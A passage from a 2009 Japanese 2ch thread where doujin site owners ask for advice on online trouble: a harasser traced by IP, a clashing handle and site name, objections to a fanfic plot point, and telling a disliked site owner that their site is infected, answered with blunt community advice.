【同人】ネットで困ったこと相談所＝その79＝

1 ：スペースNo.な-74：2009/10/11(日) 20:51:09

同人関係専用のネットで困ったことを相談するスレッドです。
お役立ち以外のURL張り付けは厳禁。次スレは970あたりで立ててください。
スレ立て規制などでダメだったら速やかに報告、できそうな人がすぐにトライしましょう。
970過ぎたら次スレが立つまで他の人は書き込みを控えましょう。

IDが出ない板なので、名前欄にトリップ推奨です。
他、書き込みのお約束と関連参考スレ>>2-4あたり

前スレ
【同人板】ネットで困ったこと相談所＝その78＝
http://changi.2ch.net/test/read.cgi/2chbook/1248982294/

2 ：スペースNo.な-74：2009/10/11(日) 20:52:08

【関連参考スレ】
ウェブリング＆検索サイト管理人専用スレ17
http://changi.2ch.net/test/read.cgi/2chbook/1250428288/l50
乗っ取り・騙り被害報告83＠同人
http://changi.2ch.net/test/read.cgi/2chbook/1254114099/l50

同人に関係ないパソコンの質問などは↓へどうぞ
PC初心者
ttp://pc7.2ch.net/pcqa/
web制作管理＠2ch掲示板
ttp://pc8.2ch.net/hp/
レンタルサーバ＠2ch掲示板
ttp://pc8.2ch.net/hosting/

801板の姐さん達が作った管理人向けお役立ちサイト
ttp://shirayuki.saiin.net/~kanri801/
ttp://www.ii-park.net/~nanashi/linksitetech.html

まとめサイト
相談所過去ログ置き場)
ttp://apophy71.hp.infoseek.co.jp/doujin/
同人板非常時避難所（したらば）
ttp://jbbs.livedoor.jp/otaku/4906/

3 ：スペースNo.な-74：2009/10/11(日) 20:53:05

【相談者】
ここは吐き捨てスレではありません。
相談内容は同人関係限定です。
相談内容をよく整理し、わかりやすい文を心がけてください。
感情的なもの、相手を晒したいだけのもの、同意してほしいだけのものは
嫌われる傾向にあります。
また既出の議論や話題のループ、全レスなども嫌われます。
最低限、過去レスは読みましょう。

【回答者】
深読み厳禁。
書いてあることからわかることだけで答えましょう。
何が書いてあるかわからない質問はスルーで。
また自分語りも、「自分の時は～だったから～すればいいのでは？」
のような、回答に繋がるもの以外は控えましょう。
相談者が締めた時点で　回　答　終　了　。
「もう見てないかもしれないけど」などの粘着アドバイスはやめましょう。
回答を書き込む前にリロードも忘れずに。
相談者を特定するような追求もやめましょう。

ﾏﾀｰﾘ、必要以上は絡まないように
絡みは絡みスレへ
誘導は>>2-3読め、で

○スレッド埋め立て・1000取りは禁止されています。
ttp://www.2ch.net/accuse2.html

4 ：スペースNo.な-74：2009/10/11(日) 20:54:39

◆徹底スルーの奨め◆

▼祭・炎上について、心得ておくべき事
祭の影には、必ず「被害者」がいます。
無責任に祭りに参加して被害を拡大させる事は、
「被害者の負担を増やすだけ」の行為です。
煽り、荒らし、私怨、電波な書き込みはスルーするべきものです。
煽り、荒らし、私怨、電波に構い、祭に参加する人もまた厨房です。
時には書き込まない勇気も持ちましょう。
◇第三者の言葉で、更正する厨房はいないと思って下さい◇

▽してはならない事
※　被害者に対応や結果報告を求める
※　被害者のジャンル、サイトの特定
※　私怨・叩き目的でURLの貼り付け
※　厨房を煽る（メル欄会話を含む）、もしくは、厨房の説得を試みる
※　厨房に名前を与える（厨房をつけあがらせるだけです）
※　伏せてあるorぼかしてあるジャンルについての推測する書き込み
※　他所のスレを勝手に再利用
※　他板・他スレへ乗り込み、飛び火させる

▼するべき事
※　煽り、荒らし、私怨、電波書き込みは徹底的にスルー！
※　荒らし、個人攻撃にあたるレスは削除依頼をしましょう
　　　・削除要請板内　■荒らし依頼削除専用■
　　　・削除整理板内　doujin：同人[レス削除]
　　　・削除ガイドライン→http://info.2ch.net/guide/adv.html#saku_guide
※　スレに粘着された時は下手に動くと傷が深まります。
　　　勇気ある一時撤退で、時が過ぎるのを待ちましょう。

5 ：スペースNo.な-74：2009/10/11(日) 20:57:59

乙

6 ：スペースNo.な-74：2009/10/11(日) 21:03:34

>>1
乙
>>4のコピペ久々だね

7 ：スペースNo.な-74：2009/10/11(日) 21:19:21

>>6
あれ…それもテンプレじゃなかったのか…
ごめん良く考えずにはっちゃった。

8 ：スペースNo.な-74：2009/10/11(日) 23:48:59

スレ立てた早々に相談なんだが・・・あるサイトの企画に参加したんだ。
作品投稿して向こうの管理人さんから返信あって、
その中に投稿した小説の感想と「好きなカプとかありますか？」という質問があった。
・・・で、それについて書いて送ったんだけど、
ちょっとテンション高めに長々と書いてしまったんだ・・・
同人サイトの管理人さんと遣り取りするの、すっごい久々だったんもんで、
熱にうかされすぎてた。

これって社交辞令だったんだろうか？
だとしたら、凄い恥ずかしい・・・

9 ：スペースNo.な-74：2009/10/11(日) 23:55:21

>>8
とりあえず前スレから埋めようや

10 ：スペースNo.な-74：2009/10/12(月) 01:34:18

鳥も付けずに相談とな

11 ：スペースNo.な-74：2009/10/12(月) 06:57:58

>>8
ここは自慢スレでも愚痴スレでもない。
どこまで社交辞令かなんて、その管理人さん本人以外に分かるもんか。

12 ：スペースNo.な-74：2009/10/12(月) 07:08:19

>>8
社交辞令に決まってるだろ。
向こうは「何このアホ」とｐｇｒしてるよｗ

13 ：スペースNo.な-74：2009/10/12(月) 13:29:54

テンプレも読まない人はこのように叩かれます。
皆さん気をつけましょう。

14 ：スペースNo.な-74：2009/10/12(月) 14:45:13

ここまでテンプレ

15 ：スペースNo.な-74：2009/10/12(月) 23:38:30

なげーな

16 ：ネ困：2009/10/15(木) 02:58:36

知り合いに紹介されてきました。
相談させてください。

相互先が拍手から中傷されるという荒らしにあい、IPからその荒らしが同じジャンルのサイトの管理人であることが判明し、どうすればいいか相談されました。

ですが、私は困ったちゃんには遭遇したことはありますが、幸いにも荒らしとは無縁でしたのでアドバイスできません。

荒らしが同じジャンルの管理人、しかも他の閲に見えない形での荒らしの場合どうすればいいでしょうか？
よろしくお願いします。

17 ：スペースNo.な-74：2009/10/15(木) 03:18:10

IPが分かってるならアク禁すれば？
アク禁できない鯖ならできる所に移動かスルーして我慢しかないんじゃね

18 ：スペースNo.な-74：2009/10/15(木) 03:31:01

>>16
・荒らされているのは同ジャンルのAという管理人
・Aが言うに、荒らしはIPから言って同ジャンルの管理人B
・Aはあなたに「どうすればいいか」と丸投げ相談して来た

これで合ってるなら、
16に出来る事は何もない。むしろ何かする事が事態を悪化させる。
【荒らしに対しどうすればいいか】を考えるのはあくまでAであり
A経由の情報を何の疑いもなく丸呑みにしている16が考える事では決してない。
アドバイスするなら、知り合いに紹介されたというこのスレを
そのままAに紹介すればそれでよかった。
16が又聞きした事をスレ住人は更に又聞きしている訳だから相談も何もない。
Aがどうしたいか、状況の推移はどうかなどの情報が皆無だから。
そしてもし16がここでそれを言ったとしても、
それは又聞きでしかないから情報としてほぼ使えない。

16がAに対して出来る数少ないことは
「自分にはよくわからない。相談に乗れなくて済まない」
と伝える事と、あとは愚痴を言って来るならそれを聞く程度

19 ：ネ困：2009/10/15(木) 06:33:44

>16
2バレしていいならその困っている相手にこのスレおしえれ
困っている本人が対応聞きにきたならまだ答えようもある
2バレしたくないなら>18で

20 ：スペースNo.な-74：2009/10/15(木) 07:50:21

>>16
Ｂが荒らしてるってジャンルスレに書き込めば？

21 ：スペースNo.な-74：2009/10/15(木) 09:49:57

>>16
荒らしは基本スルーで、あんまりしつこければ悪禁でもすればいい
無駄に騒いだり閉鎖したりと踊ってたら、向こうを喜ばせるだけ
何事もなかったようにガンガン更新して、
気にもかけてないと思わせるのが一番だと思う

>>20のジャンルスレに書き込むのはやめといた方がいい
あなたが書いても相互先の管理人が書いたと思われて
火に油を注ぐ事になるかもしれないし、
閲覧者からすれば荒しと同じくらい香ばしく見える

22 ：スペースNo.な-74：2009/10/15(木) 15:18:54

>>17-21
>>16です、Ａさんの日記見ていると、ちょこちょこ２用語入っているし、どこかの住人かも知れません
こちらもまとめサイトを見てるとは日記で書いてますし、Ａさん本人にこのスレを教えようと思います
ありがとうございました。

23 ：スペースNo.な-74：2009/10/15(木) 21:54:02

すみません､>>16さんに質問を丸投げ(汗)したAです｡＞＜

おっしゃる通り２の住人ですが､ここには検索で辿り着けずに今まで気付きませんでした｡
ええと>>16さんにメールでここを教えて頂いたのですが｡

【正確な状況】

私(>>16さんと相互)＝A他複数の管理人様方に拍手で嫌がらせあり
別の相互サイトBさん(年代が近く､私と仲良し状態)
Cさん(Bさんと相互､うちや>>16さんとはリンクなし､荒らし)

実はCさん→Bさんへの執着からの嫉妬荒らしらしいと判明
最初は身内で解決しようと言う方向だったが
Cさんの異常なアクセス数に気付いたBさんが完全に怯え
アク禁ツールを装備出来ないブログ等移転｡

アク禁した事で他のサイト様に凸などの被害があるかもしれない為に
相互様にはメールで注意喚起｡
だがその他のサイト様(匿名拍手※で｢うちも荒らされて｣との申告あり)にその管理人が荒らしだと伝えてよいものか疑問｡
ジャンルに荒らしを野放しにして身内だけがアク禁で逃げてよいのか｡
その疑問をジャンルで長い>>16さんに新参の私が相談したのです｡

それから追加で､身内に回すメール(仮)が出来たのですが､荒らしとはいえはっきりと
サイト名や管理人名､IPアドレスをメールで晒す事は所謂｢厨返し｣になってしまわないでしょうか？

お手数ですが､宜しくお願い致します

24 ：スペースNo.な-74：2009/10/15(木) 21:56:43

アク禁してスルーがいいとおもいます＞＜

25 ：スペースNo.な-74：2009/10/15(木) 22:13:24

下手なことはいいふらさないことが吉
たとえ真実を回覧させたとしても、まわしたヤツは厨扱いになるよ
気を引き締めて徹底的にスルー
よそに被害が出たとしてもスルー

26 ：スペースNo.な-74：2009/10/15(木) 22:18:57

>>23
荒し発生と認識した各サイトが自分で対処するのが本筋だと思う
23は23なりに、スルーするなりアク禁するなりすれば足りる。
たとえCが荒し確定だとしても、そんなことを触れ回るのは23の
人間性を疑われる可能性高いよ。

27 ：スペースNo.な-74：2009/10/15(木) 22:22:40

>>23
わかってるもの同士で情報共有の後は各自対応してスルー。
他所に被害が出たとしても、その厨が被害者の事を
名指しで晒しまわったりしない限りは各自が対応するもの。
匿名拍手への対応に悩んでるみたいだけど、匿名であるうちはスルー。
ほんとに困ったら拍手以外で接触してくるだろ。
そうしないで「連絡したのに対応してくれない！何よ！」とか暴れるなら
そいつも厨だからスルー。

28 ：スペースNo.な-74：2009/10/15(木) 22:41:18

>>23
具体的に被害受けてない人に対して、身内とはいえ
>サイト名や管理人名､IPアドレスをメールで晒す
のであれば、厨返しではなく単純に厨行為
Bさん含め23他数人が事実上被害を受けている、というのなら
個々人でIP取ってるだろうし自分でアク禁するなりで対応すべき

身内だから知らせなきゃ＞＜って思ってるかもしれないが
被害を受けていない人にとってCさんは「自分に危害を加えてない人」に過ぎない
「これから被害を受ける可能性がある」かもしれないが、現時点じゃ違う
少なくとも23のやろうとしている事は厨行為
とてもじゃないが冷静に考えたとも思えず
確実に大人のやるべきことじゃない

29 ：スペースNo.な-74：2009/10/15(木) 22:59:28

同人板で検索してもここが見つかる訳がなかった…orz

>>24-28
回答有難うございます！
やはり晒し行為はまずいですよね…｡
他の方々には申し訳ないですが､現状では自分達だけ避難して様子見します｡

｢身内の方々にメール｣はストーカー被害に遭っているから
移転先などを教えないで欲しい(←こっちがメイン理由)というBさんによる制作です｡
そこにサイト名などが入っていたのが少し引っかかったので｡

お答え頂いた方々､本当に有難うございます！

30 ：スペースNo.な-74：2009/10/15(木) 23:04:29

ストーカー被害ってなに

31 ：スペースNo.な-74：2009/10/15(木) 23:11:04

何かもう、収集付かなくなったとしても
自業自得って感じがするわ...

32 ：スペースNo.な-74：2009/10/15(木) 23:14:18

今更だが、相談者にはこれ
＞IDが出ない板なので、名前欄にトリップ推奨です。

33 ：スペースNo.な-74：2009/10/15(木) 23:17:44

自分もストーカー被害気になった

34 ：スペースNo.な-74：2009/10/16(金) 00:57:51

異常なアクセス＝ストーカー被害　なんじゃね？

35 ：スペースNo.な-74：2009/10/16(金) 01:52:16

最近どこかで>>23と同じ話を見かけたと思ったら、厨メスレの746だった

36 ：スペースNo.な-74：2009/10/16(金) 02:09:53

>>35
見てきた
ってことは、向こうでは>>16＝Dか
厨がチャットで一番の非常識発言をかました相手か
巻き込まれてるな
擦り寄りとかで大手は大変そうだな、ピコでよかった

37 ：スペースNo.な-74：2009/10/16(金) 11:42:14

移転のたびについてくる＝ストーカー被害じゃない？
Bさんへの執着が元らしいし

38 ：スペースNo.な-74：2009/10/16(金) 13:01:57

自分についてきて、まわりのサイトを荒らして迷惑をかけてるなら、
たしかにストーカー被害だな……逃げたい気持ち自体は分からんでもない
だからジャンルの奴らにも警告しようとして先走ってるんじゃね？

おまいら全員、少しおちつけ、とはじっさい思うが……

39 ：スペースNo.な-74：2009/10/16(金) 20:05:26

２の住人とかいいつつ汗とか＞＜とか、釣りだろ釣り。

40 ：スペースNo.な-74：2009/10/16(金) 21:19:36

自分も似たような被害に会ったからわかるが、
自分だけじゃなくリンク先の相手がひどい目に会った。
具体的なことは、嵐に真似されたら困るから書かないけど、
相手のしつこさと基地外さにもよるが、甘く見ているとひどい目に会うよ。

41 ：スペースNo.な-74：2009/10/16(金) 21:54:01

ﾛｸｵﾝされた人はリンクページ工事中表示など被害拡大を防ぐ、
事情を知ってる人は各自対応、でいいでしょ。
それ以上はどうしようもなくね？

42 ：スペースNo.な-74：2009/10/16(金) 22:39:18

もし厨が>>40に粘着してたのみたいなら、一番危ないのは>>16ってこと？

43 ：スペースNo.な-74：2009/10/17(土) 22:24:38

アドバイスと全然関係ない雑談増えたな

44 ：スペースNo.な-74：2009/10/18(日) 20:07:20

相談させてください。

当方、某投稿誌の常連です。
先日、面白半分で私のHNでググってみたら、私と同姓同名のHN（私のHNをXとします）の方がやっている、
私が半年程前から休止中の同人サイトと同じサイト名の同人系ブログがありました。（ジャンルは違います）
私のHN、サイト名ともに一風変わったかんじで、始める前に検索にかけましたが、同じものを使っている方はいませんでした。
そんなHNとサイト名が、どちらとも同時に被るだなんてまず考えられません。
それなのに、その人のブログにあったバトンの「あなたがこのHN（X）にした理由」には「なんとなく」と答えていて、不愉快でした。
また、私がサイトを始めた際、投稿誌に宣伝のサイト名とURLを書いた投稿を載せて頂いたことがあります。
その人のブログは私が休止した2ヵ月後に始められたようで、向こうが後出しなのははっきりしています。
しかもその人はブログだけではなく、様々なSNS、他のブログにも私と同じHN・Xを使っているようです。
HNにもサイト名にも著作権は無いのはわかっていますが、成りすましされているようで不快だったので、
私のブログで、私が管理している休止中のサイトとブログ、SNSのページのURLを挙げておきました。
本当は「こういうことをやっている人がいるがやめて欲しい」、と言いたい気持ちでいっぱいでしたが、下手に攻撃しても
逆にこちらが叩かれる可能性があるので、私がやっているのはこれだけですよ、と改めて呼びかけるだけに留めておきました。

45 ：スペースNo.な-74：2009/10/18(日) 20:08:35

私がブログで呼びかけてから数日後、その人がブログでのHNをXからYに変えました。（以下Yさんとします）
また、私と同姓同名・Xでやっていた、私もやっている画像投稿SNS（Zとします）から消えていました。
（私はXの苗字だけでやっていたので、そこでは被っていませんでした）
そもそもYさんがZをやっているとわかったのは、私のHN（X）で検索した際、ZでXの名前でやっていたYさんの作品ページの一つがひっかかったからです。
YさんはXでやっていた頃、自分の作品のタグに「X」と自分のHNを自らタグに入れる、という行為をしており、同姓同名の私は嫌でなりませんでした。
（画風や画力が全く違うので、別人だとわかるとは思いますが）
IDをメモしておかず、その後はユーザー名検索で調べていたので、退会したのか、HNを変えたのか、わかりませんでした。
また、私のHN（X）で検索して出た、ZでXの名前でやっていたYさんの作品ページは存在しないもの、になっていました。
しかし、Yさんは他のSNSや他のブログでのHNは変えずに私のHNと同姓同名のXのままで、なんとなく嫌だなと思っていました。
そして数日後、Zのメッセージ機能から、「Y」さんという人から私の作品に対する感想がきました。
「Zで私に感想を送ってきたYさん」と、「HNをXから変えたYさん」、この二人は同一人物なのでは、と思いましたが、
「Zで私に感想を送ってきたYさん」のプロフにはブログ等のURLが貼っていなかったうえROMだったので、はっきりとはわかりませんでした。
感想には、ありがとうございます、などと感謝の気持ちを書いて返信しました。

46 ：スペースNo.な-74：2009/10/18(日) 20:09:52

そして先日、「HNをXから変えたYさん」のブログに、「Zで私に感想を送ってきたYさん」のページのリンクが、
「Zを更新したよ」という形で貼ってあり、『「HNをXから変えたYさん」=「Zで私に感想を送ってきたYさん」』が確定しました。
また、私のHN（X）で検索した際にひっかかった、Yさんのページの作品ページのひとつは、Yさんがその作品を削除していたから
存在しないものになっていたようで、現在検索して出たリンクへ飛ぶと、「Zで私に感想を送ってきたYさん」のトップページへ飛びます。
正直、Yさんが他のブログやSNSで「X」の名前でやっている行為は「イタい」ことばかりで、私がやっている、と思われたくないのです。
ブログやZのメッセージ機能から、「せめてYさんがやっている他のブログやSNSのHNもXからYに変えて欲しい」と言いたいところですが、
アクセス禁止にされたり、年下（プロフには13歳とありました）相手にこんなことで何怒ってんの？とか逆に叩かれそうで…

「せめてYさんがやっている他のブログやSNSのHNもXからYに変えて欲しい」という気持ちを伝えるにはどうすれば良いでしょうか？
それとも無視が一番でしょうか？

長くなってしまい、すみませんでした。アドバイス宜しくお願いします。

47 ：スペースNo.な-74：2009/10/18(日) 20:18:14

>>44
嫌なら相手じゃなくて自分が変えろ
他人に改名させる権利なんてないし
もし事が表に出たら44が痛い人判定される確率は有る
それでもなんでも言わなきゃ気がすまないなら丁寧にお願いしてみれば？

48 ：スペースNo.な-74：2009/10/18(日) 20:19:48

あなたがHN変えればいいんじゃないの？

49 ：スペースNo.な-74：2009/10/18(日) 20:35:36

>>47 >>48
早速のアドバイスありがとうございます。

今のHNには思い入れがあり、投稿誌にもこの名前で通っているので、変えたくないのが本心です。
確かに、表に出たら私が痛い奴扱いされる可能性はあるとわかっています。

書き忘れましたが、YさんがXからYに名前を変えた際、Yさんは
「この名前（X）で通ってきたから、HNをYに変えますね」と言っていて、
「『名前が通ってきた』（笑）」となりました。
おそらく私のブログを見て焦ったのでしょうが、理由にしては酷すぎます。
私が今のHNで投稿誌での投稿を続け、やっとこさ常連になったのを踏み躙られた気がして…
悔しいです。

50 ：スペースNo.な-74：2009/10/18(日) 20:38:16

名前がかぶる程度のことはマナー違反とも言えない。
相手に変えてもらうならそれ相応の正当な理由と
相手を不快にさせないだけの文章力でもってお願いをする必要がある。
念を押したいのは、相手のことがどれだけ不愉快でも、
「44を騙っている」のではなく、
名前が同じだけという時点では相手を非難することは出来ないこと。

今ここに上げてる文章を読む限り、
44は相手に穏便にお願いする文章を作れる文章力はないと思うので、
現状維持か他の方のアドバイスを推す。

もしくは問い合わせがありましたが～とかの軽い前置きをつけて
自分の出入りしているコミュをＴＯＰに上げ、
それ以外で活動している人は別人だと告知する。

51 ：スペースNo.な-74：2009/10/18(日) 20:50:02

目が滑ったのでよく読んでいないが。

仮に自分が被ったHNの人だったとして
>>44-46のような感じで一方的に名前変更を求められたら
「何、この人」と不快になるのは間違いない。
気の弱い人だったらどこか異常な気配を感じて怖じ気づいて
名前を変えるかもしれないが、自分はまず完全にスルー、灰汁禁する。
それでも逆ギレせず、逆に「偶然名前が被っただけなのに
一方的に非難してくる人がいて恐い」と日記とかに書かれても
耐える自信があるなら、お願いでも抗議でも何でもすればいいと思う。

52 ：スペースNo.な-74：2009/10/18(日) 20:59:40

>>49
投稿誌には絵とかを投稿してるの？
それなら、NH変えたって作品の方で覚えていて貰えそうだけど。
一時的に「◯◯改め△△」ってHNにしてHN変更する人も結構いるし。

悔しくてもやもやするのは分かるけど、
相手に仕返しできるような方法は無いと思う。
こんな事を気にするのは馬鹿馬鹿しいってさっぱり忘れて、
投稿なり何なりを楽しんだ方がいいよ。

53 ：スペースNo.な-74：2009/10/18(日) 20:59:59

イラストサイト？なら絵柄で本人じゃないことは分かるし
相手より良いものを描けるように精進すればいい

54 ：スペースNo.な-74：2009/10/18(日) 21:06:15

逆転の発想をするとだ、どこでもかぶるようなＨＮで活動してる絵描きは山ほどいる
普通の名前っぽいのとかアルファベット二文字とか

でもそういう人たちが一々名前かぶりで騒ぐわけじゃない
絵柄で特定できるしね
違う人がかぶりにくいＨＮでやっていても
それが44より未熟な絵なら気にしなくて良い

似たようなレベルなら………まあ精進

55 ：スペースNo.な-74：2009/10/18(日) 21:19:54

>>44
まずこのスレのルールを守ろうよ
IDがでないのでトリップ必須

サイト名やHN被りで神経質になるのはわかるけど
この手で問題が発生するのは存在なりすましや作品乗っ取りなのだけど
そういう問題がないのであればスルーすればいいんじゃないかと思うよ
もしかしたら真似した可能性はあるけど、それでも変えてくれという権利はないんだよね

過去に改名を迫った例がいくつかあってまとめサイトも残っているだろうから
そういう人たちがどう思われたか、改名を迫るという行為がどう受け取られるのか調べてきたらいいんじゃない？

56 ：スペースNo.な-74：2009/10/18(日) 21:27:09

別に騙られた訳じゃないのにHN被りで騒ぐだけ損だし
むしろそんなｲﾀﾀな面を見ると既存のファンも冷めるもんだ。
本当に実力のある人はHN被りぐらいで騒がないイマゲ。

57 ：スペースNo.な-74：2009/10/18(日) 21:27:47

>>44
>表に出たら私が痛い奴扱いされる可能性はあるとわかっています
なのに
>Yさんがやっている他のブログやSNSのHNもXからYに変えて欲しい
とか言ってるの？
わかってるんじゃなくて、単に口先で逃げ打ってるだけにしか見えないよ。

酷いよね！偶然とかじゃないよそれは、真似したんだよ絶対！
とか言ってほしいようだけど、他の人も書いてる通り
特に44を騙っている訳でもないようだから、単なる被りの可能性もある
（もちろんそうじゃない可能性もあるが本人以外はわからない）
自ブログで「Xとして投稿してる奴のサイトはここだけ」としたんなら
それ以上に出来る事はないし、する権利もない。
にも関わらずそれ以上（相手に全ての名前を変更させる）をしようとしてる44は
痛い奴扱いされる可能性がある、じゃなくて、痛い奴そのものなんだが。

58 ： ◆wouYokJLrc ：2009/10/18(日) 21:41:48

>>44-46です。　アドバイスたくさんありがとうございます。
長々しくて読みづらかったと思います、すみません。
>>55トリップの件、ご指摘ありがとうございます。

絵柄の件については、向こうの方が未熟なのは言わずもがななので、気にしていません。
また、メッセージに私の絵を以前から見ている、といった内容があったので、
もしかしたら投稿誌を見ていて、私のHNとサイト名を頂戴した可能性がないわけでもありません。

ですが、たしかに名前とブログ名の両方が被っているのを私が一方的に嫌がっているだけで、
向こうが転載や自作発言をしているわけでもないのに、一人で騒いでいる私のほうが馬鹿馬鹿しいですね。
とりあえず>>55のまとめサイトなりなんなりで調べてみたり、
他のブログやSNSでの改名を迫ることはせずに、無視しておこうと思います。
アドバイスありがとうございました。

59 ：スペースNo.な-74：2009/10/18(日) 21:43:23

>>45の
> （画風や画力が全く違うので、別人だとわかるとは思いますが）

これが全てじゃないかな
あなたの絵を転載してまで、なりすましていたのならともかく
投稿誌の常連さんなら、絵で黙らせる方向へ持っていかれては如何か

60 ：スペースNo.な-74：2009/10/18(日) 22:26:09

>向こうの方が未熟なのは言わずもがななので、

ずいぶんな上から目線だけど、つまりは自分よりヘタな奴が
自分と同じ名前使ってるのが許せないってだけじゃね？
って、もう締めてるのか。すまん。

61 ：スペースNo.な-74：2009/10/18(日) 22:30:54

すごい人だったな…

62 ：スペースNo.な-74：2009/10/18(日) 22:37:16

>>60
上手い人が使ってりゃ許せるってもんでもないだろ

まあ44は日本語をちゃんと勉強したほうが良いと思うな
ネット上でトラブルに巻き込まれた時、
自分の正当性を示せるのは自分の言葉だからな。
このスレの住人に突っ込まれるようなｇｄｇｄの文章だと
見てる人に拙くて判断力のない人と見なされて
主張が受け入れられなくなる。致命的

63 ：スペースNo.な-74：2009/10/18(日) 22:40:11

好きに踊れよって話だよな

64 ：スペースNo.な-74：2009/10/18(日) 23:08:22

インスパイヤ（笑）してる奴だけでなく、相談主も若いんだろう。
あと数年もたてばインスパイヤにとっては黒歴史だし
相談主も有名税のひとつだと受け流せるようになるって。

65 ：スペースNo.な-74：2009/10/18(日) 23:15:11

いやいや、年齢は分からんぞ
三十路四十路でこういう人も普通にいるからな....
その時は黒歴史どころじゃないが

66 ：スペースNo.な-74：2009/10/18(日) 23:52:56

>>65
相手の年齢は分かってるだろ13歳だって
黒歴史は相談者のことじゃねーよ

67 ：スペースNo.な-74：2009/10/18(日) 23:54:23

もう閉めているんだし相談者を肴に雑談するのはヤメレ

68 ：スペースNo.な-74：2009/10/19(月) 11:08:44

Xに誕生日数字４字を付ければいいのではないでしょうか？

69 ：スペースNo.な-74：2009/10/19(月) 21:15:17

誕生日は暗証番号に使ってるので明かせません！><

70 ：ムキムキ×マイ受け美少年萌え：2009/10/19(月) 21:18:37

流れ豚義理ですが、相談させて下さい。
正直、自分が「正義厨」になりかけているような気がするのですが、
同人板的にはどうなのか、ご教示願えると幸いです。

先日、マイジャンル・マイカプの萌えストライクなサイトを発見しました。
が、その中の長編の設定に、個人的にもにょる点があります。
（実際には若干フェイク入れていますが、ここでは文面どおりに受けとって下さい）
それは、「図書館の司書が、『誰がいつどの本を借りていたか』という個人情報を
非常に安易に教えてしまう」という描写でした。

たしかに、「好きな人が読んでいる本を自分も読みたい」という心理はわかりますし、
たしかハギオモトも「ト／ー／マ／の心臓」でそのモチーフを使っていたと記憶しているのですが、
以前、テレビドラマの「相／棒」で同じようなシーンがあったためにＤＶＤに収録されなかったという件や、
もう少し昔には、「土壇場でハ／リ／イ／ラ／イ／ム」などの件もありましたし、
何より自分自身が、「自分が借りた本の記録が他人に見られる」ことに非常に強い抵抗を感じます。

これがせめて、テレビドラマの家宅捜索のように、何らかの権限を伴った行為だということになっていれば気にならないと思うのですが・・・

もちろん、だからと言って、他の閲覧者に見えるところで批難するつもりはないのですが、
たとえ柔らかい表現であっても、メルフォか拍手コメでこっそりと管理人に申し上げることは、
やっぱりよけいなお世話と言うか、正義厨になるでしょうか？

自分もサイト持ちなので、そのサイトとの付き合い方とか、色々と考えたいと思いますので、
ご意見をいただけると有難いです。よろしくお願いいたします。

71 ：あああああああああああああああ：2009/10/19(月) 21:20:29

名前欄の失敗は、どうかスルーしてください・・・
orz

72 ：スペースNo.な-74：2009/10/19(月) 21:30:42

>>70
名前欄フイタｗｗｗ

無記名拍手で
「○○すごくよかったです！でもあの司書の行動はリアルなら犯罪なんですよねー^^；」
位なら正義厨でもないんじゃない？
とはいえ、フィクションにどこまでリアルを求めるかは人それぞれだからねぇ。
商業作品ほど厳格に作ってる人も限られるし、犯罪助長してるとかでなければ
ある程度スルーして楽しめるようになった方が楽になれると思うよ。

73 ：スペースNo.な-74：2009/10/19(月) 21:31:07

その間違いを指摘してなにか意味があるの？
実際の図書館では個人情報を教えないんだから
フィクションの中でぐらい書いたっていいじゃない。

74 ：スペースNo.な-74：2009/10/19(月) 21:31:47

うん、正義厨乙
フィクションの中の出来事が気に入らないからって凸したくなる人は
あらゆる創作物を読むなと言いたくなる
創り物の世界だって割り切れるようになろうよ

75 ：スペースNo.な-74：2009/10/19(月) 21:36:09

>>70
名前wwwww何やってんだよ

指摘する目的にもよるけど、あまり細かい指摘は大きなお世話だと思うわ
これさえなければもっと良くなるのに！だったらホントに大きなお世話。
ところで最後の１行、70はその管理人と交流したいってことなの？

76 ：スペースNo.な-74：2009/10/19(月) 21:45:50

>>70
指摘することによってあなたが得するわけじゃないんだからやめておいたほうがいい
余計なお世話
自分の萌えサイトに正義厨が凸したせいで好きな話がサイトから消滅したことがあった
管理人さんによってはそういう処置をとる場合もあることだけは覚えておいてくれ

77 ：スペースNo.な-74：2009/10/19(月) 21:47:26

正義厨乙だなだし、迷惑な人だな。
＞メルフォか拍手コメでこっそりと管理人に申し上げる
まだしてなかった事が幸いだよ。

天下のジャムプで連載中の警察漫画では
警官が常習的にバイトどころか会社起こして稼いで脱税したり
無差別発砲・暴力・危険運転・詐欺・横領・のぞき・セクハラ・アルハラ・パワハラ
その他違法行為満載だよ。でも免職にもならず普通に警官勤めてる。
そういうのはいいの？
そういうのに吠え立てる人が居るとして、その吠え立てる行為をどう思う？

もし今後もモニョり続け、他の場合ででも誰かに突撃する可能性があるなら
70は今後あらゆるフィクションを目にしないようにした方がいいんじゃないか。

78 ：スペースNo.な-74：2009/10/19(月) 21:49:13

相談お願いします

ジャンル内サイトを巡回していたら
ウィルスに感染しているサイトがあった
よりによって、あまり仲が良くない相手のサイトで
向こうがものすごく自分を嫌っている

ウィルス感染について知らせたいと思うけど
ぜったい感染しているなんて認めないだろうし、
おそらくこっちを嘘つきの悪者に祭り上げて
周囲のサイトに愚痴を垂れ流すと思う
そう考えたら、どうしたら良いかわからなくなった

自分と知られず感染を知らせる方法はないだろうか

79 ：スペースNo.な-74：2009/10/19(月) 21:55:21

>>78
悪いことは言わない、放っとけ。百害あって一利無しだよ

どうしても閲覧者や周りが心配というなら、他サイトさんにウィルス感染注意の喚起だけしとけ
でもそのサイトには触れないほうがいい

80 ：スペースNo.な-74：2009/10/19(月) 21:59:17

>>78
ウイルスは自衛するしか無いんだし、
他の人がそのサイトでうっかり感染してもそれは自己責任でしょ
仲が良くないサイトなんだから放っておけばいいじゃない
何でそんな変な親切心を出してるのか分からない

81 ：スペースNo.な-74：2009/10/19(月) 22:00:24

>>78
相手はサーチとかランキングとか入ってない？
入ってたらそっちの管理人さんに言ってみるとか。

82 ：スペースNo.な-74：2009/10/19(月) 22:00:26

>>70
自分も物書きだけど、その指摘は正直げんなりする。
フィクションでそんなことをいちいち気にとめてもにょるんだったら
70はもう同人やめたほうがいい。

>>78
具体的にどういう状態になってるのが原因で感染してるのに気付いた？
サイトの内容改ざんでもされてるのであれば信じてもらえないってことは
ないと思う。
捨てアドで匿名でメール送るなり方法はいくらでもあると思うが
78がウイルスの拡散等を懸念して嫌われてる相手だろうと知らせたいという
意思があればだけど
前噂になってたGENOウイルスとかだったら閲覧側も迷惑被るし

83 ：スペースNo.な-74：2009/10/19(月) 22:01:08

>>78
鯖に通報だけしておけばよくね？

84 ：スペースNo.な-74：2009/10/19(月) 22:03:55

>>70
正義厨って自覚があるならここでも聞くなよって感じだけど
どんなにオブラートに包んだとしても、相手にしてみれば
余計なお世話でしかない

それに相手がこれは現実では良くない事だけど...って分かってて
